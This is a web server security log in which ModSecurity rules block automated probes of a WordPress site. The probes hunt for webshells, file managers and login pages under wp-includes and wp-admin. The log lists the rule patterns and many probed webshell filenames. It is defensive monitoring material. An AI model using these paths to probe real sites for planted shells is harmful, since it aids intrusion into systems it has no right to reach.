[Wed Dec 24 10:48:59.990744 2025] [:error] [pid 16467:tid 16511] [client 63.135.161.71:57897] [client 63.135.161.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aUtUm40TJMcBxX5slgraRwAAAE4"]
[Wed Dec 24 10:49:02.912868 2025] [:error] [pid 16550:tid 16567] [client 63.135.161.58:26223] [client 63.135.161.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aUtUnqYYcdD-LuO7vrBgYgAAAM8"]
[Wed Dec 24 10:49:04.366586 2025] [:error] [pid 28405:tid 28410] [client 63.135.161.58:42345] [client 63.135.161.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aUtUoMKkTWlhmfdXFqbl_wAAAUE"]
[Wed Dec 24 10:49:05.499951 2025] [:error] [pid 16550:tid 16556] [client 63.135.161.53:61945] [client 63.135.161.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aUtUoaYYcdD-LuO7vrBgigAAAMQ"]
[Wed Dec 24 10:49:05.988058 2025] [:error] [pid 16467:tid 16518] [client 63.135.161.62:53749] [client 63.135.161.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aUtUoY0TJMcBxX5slgralwAAAFU"]
[Wed Dec 24 10:49:06.995070 2025] [:error] [pid 16550:tid 16565] [client 63.135.161.48:25855] [client 63.135.161.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aUtUoqYYcdD-LuO7vrBgqAAAAM0"]
[Wed Dec 24 10:49:07.473405 2025] [:error] [pid 16466:tid 16477] [client 63.135.161.68:54659] [client 63.135.161.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aUtUo7u0JcuKJMjJn6y-vQAAAAc"]
[Wed Dec 24 10:49:07.982927 2025] [:error] [pid 28777:tid 28791] [client 63.135.161.46:24787] [client 63.135.161.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.46, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aUtUo5BVBcZ34cSqz8q9pwAAAYw"]
[Wed Dec 24 10:49:08.022619 2025] [proxy_fcgi:error] [pid 28777:tid 28791] [client 63.135.161.46:24787] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:08.310397 2025] [:error] [pid 28777:tid 28781] [client 63.135.161.46:24787] [client 63.135.161.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aUtUpJBVBcZ34cSqz8q9rQAAAYI"]
[Wed Dec 24 10:49:09.630229 2025] [:error] [pid 16550:tid 16565] [client 63.135.161.68:22925] [client 63.135.161.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aUtUpaYYcdD-LuO7vrBg4QAAAM0"]
[Wed Dec 24 10:49:10.138491 2025] [:error] [pid 16550:tid 16557] [client 63.135.161.46:35971] [client 63.135.161.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "aUtUpqYYcdD-LuO7vrBg8QAAAMU"]
[Wed Dec 24 10:49:12.358394 2025] [:error] [pid 28777:tid 28785] [client 104.234.53.216:29723] [client 104.234.53.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aUtUqJBVBcZ34cSqz8q9zgAAAYY"]
[Wed Dec 24 10:49:12.830862 2025] [:error] [pid 29371:tid 29373] [client 63.135.161.69:50197] [client 63.135.161.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aUtUqHs-DlKLysSq5L8OFQAAAcA"]
[Wed Dec 24 10:53:08.432358 2025] [:error] [pid 16550:tid 16569] [client 104.234.53.222:43743] [client 104.234.53.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aUtVlKYYcdD-LuO7vrB5XgAAANE"]
[Wed Dec 24 10:53:09.788485 2025] [:error] [pid 54139:tid 54145] [client 63.135.161.59:64793] [client 63.135.161.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aUtVlcrYCZenIDzgXuIMzQAAAQQ"]
[Wed Dec 24 10:53:12.660690 2025] [:error] [pid 16468:tid 16535] [client 104.234.53.225:25503] [client 104.234.53.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aUtVmIdyfuSTFLkCbP8v7gAAAIs"]
[Wed Dec 24 10:53:14.794344 2025] [:error] [pid 29371:tid 29393] [client 104.234.53.223:31083] [client 104.234.53.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aUtVmns-DlKLysSq5L8icQAAAdQ"]
[Wed Dec 24 10:53:16.913825 2025] [:error] [pid 28405:tid 28428] [client 63.135.161.47:35839] [client 63.135.161.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aUtVnMKkTWlhmfdXFqb1QgAAAVI"]
[Wed Dec 24 10:53:18.687852 2025] [:error] [pid 16466:tid 16479] [client 63.135.161.63:35101] [client 63.135.161.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aUtVnru0JcuKJMjJn6zODQAAAAk"]
[Wed Dec 24 10:53:19.218606 2025] [:error] [pid 16467:tid 16518] [client 63.135.161.53:21053] [client 63.135.161.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aUtVn40TJMcBxX5slgrsoAAAAFU"]
[Wed Dec 24 10:53:19.734699 2025] [:error] [pid 16550:tid 16575] [client 104.234.53.208:47853] [client 104.234.53.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aUtVn6YYcdD-LuO7vrB5-wAAANc"]
[Wed Dec 24 10:53:21.269678 2025] [:error] [pid 28405:tid 28429] [client 63.135.161.56:34581] [client 63.135.161.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aUtVocKkTWlhmfdXFqb1nQAAAVM"]
[Wed Dec 24 10:53:22.787782 2025] [:error] [pid 54139:tid 54156] [client 63.135.161.46:29295] [client 63.135.161.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aUtVosrYCZenIDzgXuINngAAAQ8"]
[Wed Dec 24 10:53:23.526072 2025] [:error] [pid 16467:tid 16507] [client 63.135.161.65:58837] [client 63.135.161.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aUtVo40TJMcBxX5slgrsvQAAAEo"]
[Wed Dec 24 10:53:24.490974 2025] [:error] [pid 16550:tid 16555] [client 104.234.53.208:46469] [client 104.234.53.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aUtVpKYYcdD-LuO7vrB6UgAAAMM"]
[Wed Dec 24 10:53:26.584955 2025] [:error] [pid 16466:tid 16482] [client 63.135.161.57:29093] [client 63.135.161.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aUtVpru0JcuKJMjJn6zOrwAAAAw"]
[Wed Dec 24 10:53:28.335675 2025] [:error] [pid 16550:tid 16560] [client 104.234.53.226:63137] [client 104.234.53.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aUtVqKYYcdD-LuO7vrB6nQAAAMg"]
[Wed Dec 24 10:53:30.005491 2025] [:error] [pid 16550:tid 16564] [client 63.135.161.74:53021] [client 63.135.161.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aUtVqqYYcdD-LuO7vrB6zgAAAMw"]
[Wed Dec 24 10:53:32.941980 2025] [:error] [pid 28777:tid 28783] [client 63.135.161.45:29589] [client 63.135.161.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aUtVrJBVBcZ34cSqz8rPCQAAAYQ"]
[Wed Dec 24 10:53:33.631600 2025] [:error] [pid 28405:tid 28430] [client 63.135.161.61:41101] [client 63.135.161.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aUtVrcKkTWlhmfdXFqb2UwAAAVQ"]
[Wed Dec 24 10:53:34.638823 2025] [:error] [pid 28777:tid 28787] [client 63.135.161.47:28751] [client 63.135.161.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aUtVrpBVBcZ34cSqz8rPKwAAAYg"]
[Wed Dec 24 10:53:35.343570 2025] [:error] [pid 16467:tid 16501] [client 63.135.161.75:36517] [client 63.135.161.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aUtVr40TJMcBxX5slgrtNAAAAEQ"]
[Wed Dec 24 10:53:39.743437 2025] [:error] [pid 29371:tid 29376] [client 63.135.161.47:38263] [client 63.135.161.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aUtVs3s-DlKLysSq5L8kEQAAAcM"]
[Wed Dec 24 10:53:40.424368 2025] [:error] [pid 16468:tid 16524] [client 63.135.161.71:55617] [client 63.135.161.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aUtVtIdyfuSTFLkCbP8xagAAAIA"]
[Wed Dec 24 10:53:42.112634 2025] [:error] [pid 16467:tid 16513] [client 104.234.53.224:60571] [client 104.234.53.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aUtVto0TJMcBxX5slgrtqQAAAFA"]
[Wed Dec 24 10:53:42.542425 2025] [:error] [pid 16467:tid 16513] [client 63.135.161.53:45115] [client 63.135.161.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aUtVto0TJMcBxX5slgrttgAAAFA"]
[Wed Dec 24 10:53:43.980935 2025] [:error] [pid 28777:tid 28783] [client 63.135.161.54:39107] [client 63.135.161.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aUtVt5BVBcZ34cSqz8rP9AAAAYQ"]
[Wed Dec 24 10:53:45.128603 2025] [:error] [pid 16468:tid 16538] [client 104.234.53.221:39593] [client 104.234.53.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aUtVuYdyfuSTFLkCbP8xvgAAAI4"]
[Wed Dec 24 10:53:45.573400 2025] [:error] [pid 16550:tid 16576] [client 63.135.161.51:44699] [client 63.135.161.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aUtVuaYYcdD-LuO7vrB8XQAAANg"]
[Wed Dec 24 10:53:46.063502 2025] [:error] [pid 16468:tid 16534] [client 63.135.161.48:25393] [client 63.135.161.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUtVuodyfuSTFLkCbP8xzQAAAIo"]
[Wed Dec 24 10:53:52.300862 2025] [:error] [pid 16466:tid 16488] [client 63.135.161.71:48829] [client 63.135.161.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aUtVwLu0JcuKJMjJn6zQHwAAABI"]
[Wed Dec 24 10:53:53.445962 2025] [:error] [pid 54139:tid 54162] [client 63.135.161.57:54095] [client 63.135.161.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.57, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aUtVwcrYCZenIDzgXuIPJwAAARU"]
[Wed Dec 24 10:53:56.220568 2025] [:error] [pid 54139:tid 54143] [client 63.135.161.57:54095] [client 63.135.161.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aUtVxMrYCZenIDzgXuIPWwAAAQI"]
[Wed Dec 24 10:53:57.186564 2025] [:error] [pid 16550:tid 16558] [client 63.135.161.47:52573] [client 63.135.161.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.47, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aUtVxaYYcdD-LuO7vrB9JQAAAMY"]
[Wed Dec 24 10:53:57.649591 2025] [:error] [pid 16550:tid 16574] [client 63.135.161.47:52573] [client 63.135.161.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aUtVxaYYcdD-LuO7vrB9LgAAANY"]
[Wed Dec 24 10:53:59.843307 2025] [:error] [pid 28777:tid 28794] [client 104.234.53.226:65053] [client 104.234.53.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aUtVx5BVBcZ34cSqz8rQxQAAAY8"]
[Wed Dec 24 10:54:06.458957 2025] [:error] [pid 54139:tid 54154] [client 63.135.161.60:57581] [client 63.135.161.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aUtVzsrYCZenIDzgXuIP1QAAAQ0"]
[Wed Dec 24 10:54:07.361953 2025] [:error] [pid 16550:tid 16573] [client 63.135.161.45:30955] [client 63.135.161.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aUtVz6YYcdD-LuO7vrB9iAAAANU"]
[Wed Dec 24 10:54:08.529407 2025] [:error] [pid 28405:tid 28417] [client 63.135.161.52:22819] [client 63.135.161.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.52, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aUtV0MKkTWlhmfdXFqb4aQAAAUg"]
[Wed Dec 24 10:54:08.754095 2025] [:error] [pid 28405:tid 28429] [client 63.135.161.52:22819] [client 63.135.161.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aUtV0MKkTWlhmfdXFqb4cAAAAVM"]
